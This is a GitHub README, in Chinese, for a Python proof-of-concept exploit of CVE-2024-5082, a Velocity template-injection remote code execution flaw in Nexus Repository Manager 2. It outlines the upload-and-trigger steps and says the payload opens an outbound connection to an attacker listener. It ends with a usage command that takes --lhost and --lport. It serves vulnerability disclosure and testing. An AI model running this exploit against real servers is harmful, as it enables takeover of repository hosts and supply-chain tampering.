h4mr3r/CVE-2024-5082

GitHub: h4mr3r/CVE-2024-5082

针对 Sonatype Nexus Repository Manager 2 CVE-2024-5082 漏洞的 Python 概念验证脚本,通过上传特制 Maven artifact 触发 Velocity 模板注入实现授权远程代码执行。

Stars: 0 | Forks: 1

## 概述 本仓库包含一个用于 **CVE-2024-5082** 的 Python 概念验证,这是 Sonatype Nexus Repository Manager 2 中的一个远程代码执行漏洞。 该漏洞允许具有足够权限的用户发布特制的 Maven artifact,并将其标记为由 Velocity 内容生成器处理。当检索该 artifact 时,嵌入的 Velocity 模板会被 Nexus 解析,并可能在 Nexus JVM 的安全上下文中执行命令。 根据 Sonatype 的说明: - 受影响的版本包括 Nexus Repository Manager 2.x 及以下直至 **2.15.1** 的版本; - 该问题已在 **2.15.2** 中修复; - Nexus Repository 2 已于 **2025 年 6 月 30 日** 寿终正寝,应迁移至 Nexus Repository 3。 ## 重要范围说明 命令是在 **Nexus Repository 主机** 上执行的。 从构建服务器、应用服务器或开发者工作站下载受影响的 artifact,本身并不会在执行下载的系统上运行嵌入的命令。然而,如果攻击者随后篡改受信任的 artifact、构建输入、凭据或仓库配置,仓库管理系统的被攻破可能会带来更广泛的供应链风险。 ## PoC 工作原理 该脚本: 1. 在 Maven 风格的 namespace 下生成一个唯一的标记路径。 2. 将特制的 `maven-metadata.xml` 文件上传到选定的托管仓库中。 3. 更新相应的 Nexus 属性,以便将内容生成器设置为 `velocity`。 4. 检索已上传的 artifact,触发 Nexus 处理模板。 5. 尝试在清理期间移除已上传的标记 artifact。 提供的 payload 会创建一个从 Nexus 主机到已配置监听器地址的出站 TCP 连接。 ## 身份验证与权限 当前脚本使用 HTTP Basic Authentication,并要求: - 有效的 Nexus 用户名和密码; - 在选定仓库中创建或更新内容的权限; - PoC 所使用的属性更新权限。 ## 用法 ``` python3 cve_2024_5082.py \\ --base-url https://nexus.example.test/nexus \\ --repository security-test-snapshots \\ --username test-user \\ --password 'REDACTED' \\ --lhost LISTENER_IP \\ --lport 8000 ```
标签:PoC, Python, Sonatype Nexus, 文档安全, 无后门, 暴力破解, 编程工具, 远程代码执行, 逆向工具